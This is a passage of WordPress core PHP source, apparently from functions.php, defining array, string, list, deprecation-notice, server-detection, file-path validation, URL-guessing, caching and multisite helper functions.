_wp_array_set( $array, array( 'a', 'b', 'c', 1 ) ); * * $array becomes: * array( * 'a' => array( * 'b' => array( * 'c' => 1, * ), * ), * ); * * @internal * * @since 5.8.0 * @access private * * @param array $array An array that we want to mutate to include a specific value in a path. * @param array $path An array of keys describing the path that we want to mutate. * @param mixed $value The value that will be set. */ function _wp_array_set( &$array, $path, $value = null ) { // Confirm $array is valid. if ( ! is_array( $array ) ) { return; } // Confirm $path is valid. if ( ! is_array( $path ) ) { return; } $path_length = count( $path ); if ( 0 === $path_length ) { return; } foreach ( $path as $path_element ) { if ( ! is_string( $path_element ) && ! is_integer( $path_element ) && ! is_null( $path_element ) ) { return; } } for ( $i = 0; $i < $path_length - 1; ++$i ) { $path_element = $path[ $i ]; if ( ! array_key_exists( $path_element, $array ) || ! is_array( $array[ $path_element ] ) ) { $array[ $path_element ] = array(); } $array = &$array[ $path_element ]; // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.VariableRedeclaration } $array[ $path[ $i ] ] = $value; } /** * This function is trying to replicate what * lodash's kebabCase (JS library) does in the client. * * The reason we need this function is that we do some processing * in both the client and the server (e.g.: we generate * preset classes from preset slugs) that needs to * create the same output. * * We can't remove or update the client's library due to backward compatibility * (some of the output of lodash's kebabCase is saved in the post content). * We have to make the server behave like the client. * * Changes to this function should follow updates in the client * with the same logic. * * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L14369 * @link https://github.com/lodash/lodash/blob/4.17/dist/lodash.js#L278 * @link https://github.com/lodash-php/lodash-php/blob/master/src/String/kebabCase.php * @link https://github.com/lodash-php/lodash-php/blob/master/src/internal/unicodeWords.php * * @param string $string The string to kebab-case. * * @return string kebab-cased-string. */ function _wp_to_kebab_case( $string ) { //phpcs:disable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase // ignore the camelCase names for variables so the names are the same as lodash // so comparing and porting new changes is easier. /* * Some notable things we've removed compared to the lodash version are: * * - non-alphanumeric characters: rsAstralRange, rsEmoji, etc * - the groups that processed the apostrophe, as it's removed before passing the string to preg_match: rsApos, rsOptContrLower, and rsOptContrUpper * */ /** Used to compose unicode character classes. */ $rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff'; $rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf'; $rsPunctuationRange = '\\x{2000}-\\x{206f}'; $rsSpaceRange = ' \\t\\x0b\\f\\xa0\\x{feff}\\n\\r\\x{2028}\\x{2029}\\x{1680}\\x{180e}\\x{2000}\\x{2001}\\x{2002}\\x{2003}\\x{2004}\\x{2005}\\x{2006}\\x{2007}\\x{2008}\\x{2009}\\x{200a}\\x{202f}\\x{205f}\\x{3000}'; $rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde'; $rsBreakRange = $rsNonCharRange . $rsPunctuationRange . $rsSpaceRange; /** Used to compose unicode capture groups. */ $rsBreak = '[' . $rsBreakRange . ']'; $rsDigits = '\\d+'; // The last lodash version in GitHub uses a single digit here and expands it when in use. $rsLower = '[' . $rsLowerRange . ']'; $rsMisc = '[^' . $rsBreakRange . $rsDigits . $rsLowerRange . $rsUpperRange . ']'; $rsUpper = '[' . $rsUpperRange . ']'; /** Used to compose unicode regexes. */ $rsMiscLower = '(?:' . $rsLower . '|' . $rsMisc . ')'; $rsMiscUpper = '(?:' . $rsUpper . '|' . $rsMisc . ')'; $rsOrdLower = '\\d*(?:1st|2nd|3rd|(?![123])\\dth)(?=\\b|[A-Z_])'; $rsOrdUpper = '\\d*(?:1ST|2ND|3RD|(?![123])\\dTH)(?=\\b|[a-z_])'; $regexp = '/' . implode( '|', array( $rsUpper . '?' . $rsLower . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper, '$' ) ) . ')', $rsMiscUpper . '+' . '(?=' . implode( '|', array( $rsBreak, $rsUpper . $rsMiscLower, '$' ) ) . ')', $rsUpper . '?' . $rsMiscLower . '+', $rsUpper . '+', $rsOrdUpper, $rsOrdLower, $rsDigits, ) ) . '/u'; preg_match_all( $regexp, str_replace( "'", '', $string ), $matches ); return strtolower( implode( '-', $matches[0] ) ); //phpcs:enable WordPress.NamingConventions.ValidVariableName.VariableNotSnakeCase } /** * Determines if the variable is a numeric-indexed array. * * @since 4.4.0 * * @param mixed $data Variable to check. * @return bool Whether the variable is a list. */ function wp_is_numeric_array( $data ) { if ( ! is_array( $data ) ) { return false; } $keys = array_keys( $data ); $string_keys = array_filter( $keys, 'is_string' ); return count( $string_keys ) === 0; } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * When using the `$field` argument, this function can also retrieve * a particular field from all matching objects, whereas wp_list_filter() * only does the filtering. * * @since 3.0.0 * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @param bool|string $field Optional. A field from the object to place instead * of the entire object. Default false. * @return array A list of objects or object fields. */ function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); $util->filter( $args, $operator ); if ( $field ) { $util->pluck( $field ); } return $util->get_output(); } /** * Filters a list of objects, based on a set of key => value arguments. * * Retrieves the objects from the list that match the given arguments. * Key represents property name, and value represents property value. * * If an object has more properties than those specified in arguments, * that will not disqualify it. When using the 'AND' operator, * any missing properties will disqualify it. * * If you want to retrieve a particular field from all matching objects, * use wp_filter_object_list() instead. * * @since 3.1.0 * @since 4.7.0 Uses `WP_List_Util` class. * @since 5.9.0 Converted into a wrapper for `wp_filter_object_list()`. * * @param array $list An array of objects to filter. * @param array $args Optional. An array of key => value arguments to match * against each object. Default empty array. * @param string $operator Optional. The logical operation to perform. 'AND' means * all elements from the array must match. 'OR' means only * one element needs to match. 'NOT' means no elements may * match. Default 'AND'. * @return array Array of found values. */ function wp_list_filter( $list, $args = array(), $operator = 'AND' ) { return wp_filter_object_list( $list, $args, $operator ); } /** * Plucks a certain field out of each object or array in an array. * * This has the same functionality and prototype of * array_column() (PHP 5.5) but also supports objects. * * @since 3.1.0 * @since 4.0.0 $index_key parameter added. * @since 4.7.0 Uses `WP_List_Util` class. * * @param array $list List of objects or arrays. * @param int|string $field Field from the object to place instead of the entire object. * @param int|string $index_key Optional. Field from the object to use as keys for the new array. * Default null. * @return array Array of found values. If `$index_key` is set, an array of found values with keys * corresponding to `$index_key`. If `$index_key` is null, array keys from the original * `$list` will be preserved in the results. */ function wp_list_pluck( $list, $field, $index_key = null ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->pluck( $field, $index_key ); } /** * Sorts an array of objects or arrays based on one or more orderby arguments. * * @since 4.7.0 * * @param array $list An array of objects to sort. * @param string|array $orderby Optional. Either the field name to order by or an array * of multiple orderby fields as $orderby => $order. * @param string $order Optional. Either 'ASC' or 'DESC'. Only used if $orderby * is a string. * @param bool $preserve_keys Optional. Whether to preserve keys. Default false. * @return array The sorted array. */ function wp_list_sort( $list, $orderby = array(), $order = 'ASC', $preserve_keys = false ) { if ( ! is_array( $list ) ) { return array(); } $util = new WP_List_Util( $list ); return $util->sort( $orderby, $order, $preserve_keys ); } /** * Determines if Widgets library should be loaded. * * Checks to make sure that the widgets library hasn't already been loaded. * If it hasn't, then it will load the widgets library and run an action hook. * * @since 2.2.0 */ function wp_maybe_load_widgets() { /** * Filters whether to load the Widgets library. * * Returning a falsey value from the filter will effectively short-circuit * the Widgets library from loading. * * @since 2.8.0 * * @param bool $wp_maybe_load_widgets Whether to load the Widgets library. * Default true. */ if ( ! apply_filters( 'load_default_widgets', true ) ) { return; } require_once ABSPATH . WPINC . '/default-widgets.php'; add_action( '_admin_menu', 'wp_widgets_add_menu' ); } /** * Append the Widgets menu to the themes main menu. * * @since 2.2.0 * @since 5.9.3 Don't specify menu order when the active theme is a block theme. * * @global array $submenu */ function wp_widgets_add_menu() { global $submenu; if ( ! current_theme_supports( 'widgets' ) ) { return; } $menu_name = __( 'Widgets' ); if ( wp_is_block_theme() ) { $submenu['themes.php'][] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } else { $submenu['themes.php'][7] = array( $menu_name, 'edit_theme_options', 'widgets.php' ); } ksort( $submenu['themes.php'], SORT_NUMERIC ); } /** * Flush all output buffers for PHP 5.2. * * Make sure all output buffers are flushed before our singletons are destroyed. * * @since 2.2.0 */ function wp_ob_end_flush_all() { $levels = ob_get_level(); for ( $i = 0; $i < $levels; $i++ ) { ob_end_flush(); } } /** * Load custom DB error or display WordPress DB error. * * If a file exists in the wp-content directory named db-error.php, then it will * be loaded instead of displaying the WordPress DB error. If it is not found, * then the WordPress DB error will be displayed instead. * * The WordPress DB error sets the HTTP status header to 500 to try to prevent * search engines from caching the message. Custom DB messages should do the * same. * * This function was backported to WordPress 2.3.2, but originally was added * in WordPress 2.5.0. * * @since 2.3.2 * * @global wpdb $wpdb WordPress database abstraction object. */ function dead_db() { global $wpdb; wp_load_translations_early(); // Load custom DB error template, if present. if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { require_once WP_CONTENT_DIR . '/db-error.php'; die(); } // If installing or in the admin, provide the verbose message. if ( wp_installing() || defined( 'WP_ADMIN' ) ) { wp_die( $wpdb->error ); } // Otherwise, be terse. wp_die( '

    ' . __( 'Error establishing a database connection' ) . '

    ', __( 'Database Error' ) ); } /** * Convert a value to non-negative integer. * * @since 2.5.0 * * @param mixed $maybeint Data you wish to have converted to a non-negative integer. * @return int A non-negative integer. */ function absint( $maybeint ) { return abs( (int) $maybeint ); } /** * Mark a function as deprecated and inform when it has been used. * * There is a {@see 'hook deprecated_function_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every function that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the function. * @param string $replacement Optional. The function that should have been called. Default empty. */ function _deprecated_function( $function, $version, $replacement = '' ) { /** * Fires when a deprecated function is called. * * @since 2.5.0 * * @param string $function The function that was called. * @param string $replacement The function that should have been called. * @param string $version The version of WordPress that deprecated the function. */ do_action( 'deprecated_function_run', $function, $replacement, $version ); /** * Filters whether to trigger an error for deprecated functions. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_function_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Alternative function name. */ __( 'Function %1$s is deprecated since version %2$s! Use %3$s instead.' ), $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( 'Function %1$s is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( 'Function %1$s is deprecated since version %2$s! Use %3$s instead.', $function, $version, $replacement ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'Function %1$s is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a constructor as deprecated and informs when it has been used. * * Similar to _deprecated_function(), but with different strings. Used to * remove PHP4 style constructors. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every PHP4 style constructor method that is deprecated. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class Optional. The parent class calling the deprecated constructor. * Default empty string. */ function _deprecated_constructor( $class, $version, $parent_class = '' ) { /** * Fires when a deprecated constructor is called. * * @since 4.3.0 * @since 4.5.0 Added the `$parent_class` parameter. * * @param string $class The class containing the deprecated constructor. * @param string $version The version of WordPress that deprecated the function. * @param string $parent_class The parent class calling the deprecated constructor. */ do_action( 'deprecated_constructor_run', $class, $version, $parent_class ); /** * Filters whether to trigger an error for deprecated functions. * * `WP_DEBUG` must be true in addition to the filter evaluating to true. * * @since 4.3.0 * * @param bool $trigger Whether to trigger the error for deprecated functions. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_constructor_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $parent_class ) { trigger_error( sprintf( /* translators: 1: PHP class name, 2: PHP parent class name, 3: Version number, 4: __construct() method. */ __( 'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.' ), $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP class name, 2: Version number, 3: __construct() method. */ __( 'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.' ), $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } else { if ( $parent_class ) { trigger_error( sprintf( 'The called constructor method for %1$s class in %2$s is deprecated since version %3$s! Use %4$s instead.', $class, $parent_class, $version, '__construct()' ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'The called constructor method for %1$s class is deprecated since version %2$s! Use %3$s instead.', $class, $version, '__construct()' ), E_USER_DEPRECATED ); } } } } /** * Mark a file as deprecated and inform when it has been used. * * There is a hook {@see 'deprecated_file_included'} that will be called that can be used * to get the backtrace up to what file and function included the deprecated * file. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is to be used in every file that is deprecated. * * @since 2.5.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $file The file that was included. * @param string $version The version of WordPress that deprecated the file. * @param string $replacement Optional. The file that should have been included based on ABSPATH. * Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_file( $file, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated file is called. * * @since 2.5.0 * * @param string $file The file that was called. * @param string $replacement The file that should have been included based on ABSPATH. * @param string $version The version of WordPress that deprecated the file. * @param string $message A message regarding the change. */ do_action( 'deprecated_file_included', $file, $replacement, $version, $message ); /** * Filters whether to trigger an error for deprecated files. * * @since 2.5.0 * * @param bool $trigger Whether to trigger the error for deprecated files. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( function_exists( '__' ) ) { if ( $replacement ) { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number, 3: Alternative file name. */ __( 'File %1$s is deprecated since version %2$s! Use %3$s instead.' ), $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP file name, 2: Version number. */ __( 'File %1$s is deprecated since version %2$s with no alternative available.' ), $file, $version ) . $message, E_USER_DEPRECATED ); } } else { if ( $replacement ) { trigger_error( sprintf( 'File %1$s is deprecated since version %2$s! Use %3$s instead.', $file, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'File %1$s is deprecated since version %2$s with no alternative available.', $file, $version ) . $message, E_USER_DEPRECATED ); } } } } /** * Mark a function argument as deprecated and inform when it has been used. * * This function is to be used whenever a deprecated function argument is used. * Before this function is called, the argument must be checked for whether it was * used by comparing it to its default value or evaluating whether it is empty. * For example: * * if ( ! empty( $deprecated ) ) { * _deprecated_argument( __FUNCTION__, '3.0.0' ); * } * * There is a hook deprecated_argument_run that will be called that can be used * to get the backtrace up to what file and function used the deprecated * argument. * * The current behavior is to trigger a user error if WP_DEBUG is true. * * @since 3.0.0 * @since 5.4.0 This function is no longer marked as "private". * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * * @param string $function The function that was called. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_argument( $function, $version, $message = '' ) { /** * Fires when a deprecated argument is called. * * @since 3.0.0 * * @param string $function The function that was called. * @param string $message A message regarding the change. * @param string $version The version of WordPress that deprecated the argument used. */ do_action( 'deprecated_argument_run', $function, $message, $version ); /** * Filters whether to trigger an error for deprecated arguments. * * @since 3.0.0 * * @param bool $trigger Whether to trigger the error for deprecated arguments. Default true. */ if ( WP_DEBUG && apply_filters( 'deprecated_argument_trigger_error', true ) ) { if ( function_exists( '__' ) ) { if ( $message ) { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number, 3: Optional message regarding the change. */ __( 'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s' ), $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: PHP function name, 2: Version number. */ __( 'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.' ), $function, $version ), E_USER_DEPRECATED ); } } else { if ( $message ) { trigger_error( sprintf( 'Function %1$s was called with an argument that is deprecated since version %2$s! %3$s', $function, $version, $message ), E_USER_DEPRECATED ); } else { trigger_error( sprintf( 'Function %1$s was called with an argument that is deprecated since version %2$s with no alternative available.', $function, $version ), E_USER_DEPRECATED ); } } } } /** * Marks a deprecated action or filter hook as deprecated and throws a notice. * * Use the {@see 'deprecated_hook_run'} action to get the backtrace describing where * the deprecated hook was called. * * Default behavior is to trigger a user error if `WP_DEBUG` is true. * * This function is called by the do_action_deprecated() and apply_filters_deprecated() * functions, and so generally does not need to be called directly. * * @since 4.6.0 * @since 5.4.0 The error type is now classified as E_USER_DEPRECATED (used to default to E_USER_NOTICE). * @access private * * @param string $hook The hook that was used. * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function _deprecated_hook( $hook, $version, $replacement = '', $message = '' ) { /** * Fires when a deprecated hook is called. * * @since 4.6.0 * * @param string $hook The hook that was called. * @param string $replacement The hook that should be used as a replacement. * @param string $version The version of WordPress that deprecated the argument used. * @param string $message A message regarding the change. */ do_action( 'deprecated_hook_run', $hook, $replacement, $version, $message ); /** * Filters whether to trigger deprecated hook errors. * * @since 4.6.0 * * @param bool $trigger Whether to trigger deprecated hook errors. Requires * `WP_DEBUG` to be defined true. */ if ( WP_DEBUG && apply_filters( 'deprecated_hook_trigger_error', true ) ) { $message = empty( $message ) ? '' : ' ' . $message; if ( $replacement ) { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number, 3: Alternative hook name. */ __( 'Hook %1$s is deprecated since version %2$s! Use %3$s instead.' ), $hook, $version, $replacement ) . $message, E_USER_DEPRECATED ); } else { trigger_error( sprintf( /* translators: 1: WordPress hook name, 2: Version number. */ __( 'Hook %1$s is deprecated since version %2$s with no alternative available.' ), $hook, $version ) . $message, E_USER_DEPRECATED ); } } } /** * Mark something as being incorrectly called. * * There is a hook {@see 'doing_it_wrong_run'} that will be called that can be used * to get the backtrace up to what file and function called the deprecated * function. * * The current behavior is to trigger a user error if `WP_DEBUG` is true. * * @since 3.1.0 * @since 5.4.0 This function is no longer marked as "private". * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ function _doing_it_wrong( $function, $message, $version ) { /** * Fires when the given function is being used incorrectly. * * @since 3.1.0 * * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ do_action( 'doing_it_wrong_run', $function, $message, $version ); /** * Filters whether to trigger an error for _doing_it_wrong() calls. * * @since 3.1.0 * @since 5.1.0 Added the $function, $message and $version parameters. * * @param bool $trigger Whether to trigger the error for _doing_it_wrong() calls. Default true. * @param string $function The function that was called. * @param string $message A message explaining what has been done incorrectly. * @param string $version The version of WordPress where the message was added. */ if ( WP_DEBUG && apply_filters( 'doing_it_wrong_trigger_error', true, $function, $message, $version ) ) { if ( function_exists( '__' ) ) { if ( $version ) { /* translators: %s: Version number. */ $version = sprintf( __( '(This message was added in version %s.)' ), $version ); } $message .= ' ' . sprintf( /* translators: %s: Documentation URL. */ __( 'Please see Debugging in WordPress for more information.' ), __( 'https://wordpress.org/support/article/debugging-in-wordpress/' ) ); trigger_error( sprintf( /* translators: Developer debugging message. 1: PHP function name, 2: Explanatory message, 3: WordPress version number. */ __( 'Function %1$s was called incorrectly. %2$s %3$s' ), $function, $message, $version ), E_USER_NOTICE ); } else { if ( $version ) { $version = sprintf( '(This message was added in version %s.)', $version ); } $message .= sprintf( ' Please see Debugging in WordPress for more information.', 'https://wordpress.org/support/article/debugging-in-wordpress/' ); trigger_error( sprintf( 'Function %1$s was called incorrectly. %2$s %3$s', $function, $message, $version ), E_USER_NOTICE ); } } } /** * Is the server running earlier than 1.5.0 version of lighttpd? * * @since 2.5.0 * * @return bool Whether the server is running lighttpd < 1.5.0. */ function is_lighttpd_before_150() { $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] ) ? $_SERVER['SERVER_SOFTWARE'] : '' ); $server_parts[1] = isset( $server_parts[1] ) ? $server_parts[1] : ''; return ( 'lighttpd' === $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ) ); } /** * Does the specified module exist in the Apache config? * * @since 2.5.0 * * @global bool $is_apache * * @param string $mod The module, e.g. mod_rewrite. * @param bool $default Optional. The default return value if the module is not found. Default false. * @return bool Whether the specified module is loaded. */ function apache_mod_loaded( $mod, $default = false ) { global $is_apache; if ( ! $is_apache ) { return false; } if ( function_exists( 'apache_get_modules' ) ) { $mods = apache_get_modules(); if ( in_array( $mod, $mods, true ) ) { return true; } } elseif ( function_exists( 'phpinfo' ) && false === strpos( ini_get( 'disable_functions' ), 'phpinfo' ) ) { ob_start(); phpinfo( 8 ); $phpinfo = ob_get_clean(); if ( false !== strpos( $phpinfo, $mod ) ) { return true; } } return $default; } /** * Check if IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @global bool $is_iis7 * * @return bool Whether IIS7 supports permalinks. */ function iis7_supports_permalinks() { global $is_iis7; $supports_permalinks = false; if ( $is_iis7 ) { /* First we check if the DOMDocument class exists. If it does not exist, then we cannot * easily update the xml configuration file, hence we just bail out and tell user that * pretty permalinks cannot be used. * * Next we check if the URL Rewrite Module 1.1 is loaded and enabled for the web site. When * URL Rewrite 1.1 is loaded it always sets a server variable called 'IIS_UrlRewriteModule'. * Lastly we make sure that PHP is running via FastCGI. This is important because if it runs * via ISAPI then pretty permalinks will not work. */ $supports_permalinks = class_exists( 'DOMDocument', false ) && isset( $_SERVER['IIS_UrlRewriteModule'] ) && ( 'cgi-fcgi' === PHP_SAPI ); } /** * Filters whether IIS 7+ supports pretty permalinks. * * @since 2.8.0 * * @param bool $supports_permalinks Whether IIS7 supports permalinks. Default false. */ return apply_filters( 'iis7_supports_permalinks', $supports_permalinks ); } /** * Validates a file name and path against an allowed set of rules. * * A return value of `1` means the file path contains directory traversal. * * A return value of `2` means the file path contains a Windows drive path. * * A return value of `3` means the file is not in the allowed files list. * * @since 1.2.0 * * @param string $file File path. * @param string[] $allowed_files Optional. Array of allowed files. * @return int 0 means nothing is wrong, greater than 0 means something was wrong. */ function validate_file( $file, $allowed_files = array() ) { if ( ! is_scalar( $file ) || '' === $file ) { return 0; } // `../` on its own is not allowed: if ( '../' === $file ) { return 1; } // More than one occurrence of `../` is not allowed: if ( preg_match_all( '#\.\./#', $file, $matches, PREG_SET_ORDER ) && ( count( $matches ) > 1 ) ) { return 1; } // `../` which does not occur at the end of the path is not allowed: if ( false !== strpos( $file, '../' ) && '../' !== mb_substr( $file, -3, 3 ) ) { return 1; } // Files not in the allowed file list are not allowed: if ( ! empty( $allowed_files ) && ! in_array( $file, $allowed_files, true ) ) { return 3; } // Absolute Windows drive paths are not allowed: if ( ':' === substr( $file, 1, 1 ) ) { return 2; } return 0; } /** * Whether to force SSL used for the Administration Screens. * * @since 2.6.0 * * @param string|bool $force Optional. Whether to force SSL in admin screens. Default null. * @return bool True if forced, false if not forced. */ function force_ssl_admin( $force = null ) { static $forced = false; if ( ! is_null( $force ) ) { $old_forced = $forced; $forced = $force; return $old_forced; } return $forced; } /** * Guess the URL for the site. * * Will remove wp-admin links to retrieve only return URLs not in the wp-admin * directory. * * @since 2.6.0 * * @return string The guessed URL. */ function wp_guess_url() { if ( defined( 'WP_SITEURL' ) && '' !== WP_SITEURL ) { $url = WP_SITEURL; } else { $abspath_fix = str_replace( '\\', '/', ABSPATH ); $script_filename_dir = dirname( $_SERVER['SCRIPT_FILENAME'] ); // The request is for the admin. if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) { $path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] ); // The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { // Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { // Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); // Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) { // Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); // Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } /** * Temporarily suspend cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * @return bool The current suspend setting */ function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } /** * Suspend cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. */ function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } /** * Determine whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. */ function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } /** * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. */ function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } /** * Determine whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. */ function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } /** * Get the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. */ function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { // If the current network has an ID of 1, assume it is the main network. $main_network_id = 1; } else { $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1, ) ); $main_network_id = array_shift( $_networks ); } /** * Filters the main network ID. * * @since 4.3.0 * * @param int $main_network_id The ID of the main network. */ return (int) apply_filters( 'get_main_network_id', $main_network_id ); } /** * Determine whether global terms are enabled. * * @since 3.0.0 * * @return bool True if multisite and global terms enabled. */ function global_terms_enabled() { if ( ! is_multisite() ) { return false; } static $global_terms = null; if ( is_null( $global_terms ) ) { /** * Filters whether global terms are enabled. * * Returning a non-null value from the filter will effectively short-circuit the function * and return the value of the 'global_terms_enabled' site option instead. * * @since 3.0.0 * * @param null $enabled Whether global terms are enabled. */ $filter = apply_filters( 'global_terms_enabled', null ); if ( ! is_null( $filter ) ) { $global_terms = (bool) $filter; } else { $global_terms = (bool) get_site_option( 'global_terms_enabled', false ); } } return $global_terms; } /** * Determines whether site meta is 